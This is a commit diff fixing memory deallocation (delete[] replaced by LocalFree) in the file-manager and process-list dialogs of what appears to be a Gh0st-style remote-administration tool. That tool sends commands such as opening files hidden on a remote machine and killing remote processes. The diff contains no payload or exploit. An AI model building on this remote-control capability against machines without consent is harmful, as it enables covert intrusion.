fix: #25 Using delete[] to free LocalAlloc memory
This commit is contained in:
@@ -2193,6 +2193,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
|
||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2328,7 +2329,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
|
||||
delete [] lpPacket;
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnRemoteOpenHide()
|
||||
@@ -2342,7 +2343,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
|
||||
delete [] lpPacket;
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
|
||||
@@ -215,8 +215,10 @@ void CSystemDlg::OnPlistKill()
|
||||
{
|
||||
str.Format("%sȷʵ\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?", szTips);
|
||||
}
|
||||
if (::MessageBox(m_hWnd, str, "<EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO|MB_ICONQUESTION) == IDNO)
|
||||
if (::MessageBox(m_hWnd, str, "<EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO) {
|
||||
LocalFree(szBuffer);
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD dwOffset = 1;
|
||||
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
|
||||
|
||||
Reference in New Issue
Block a user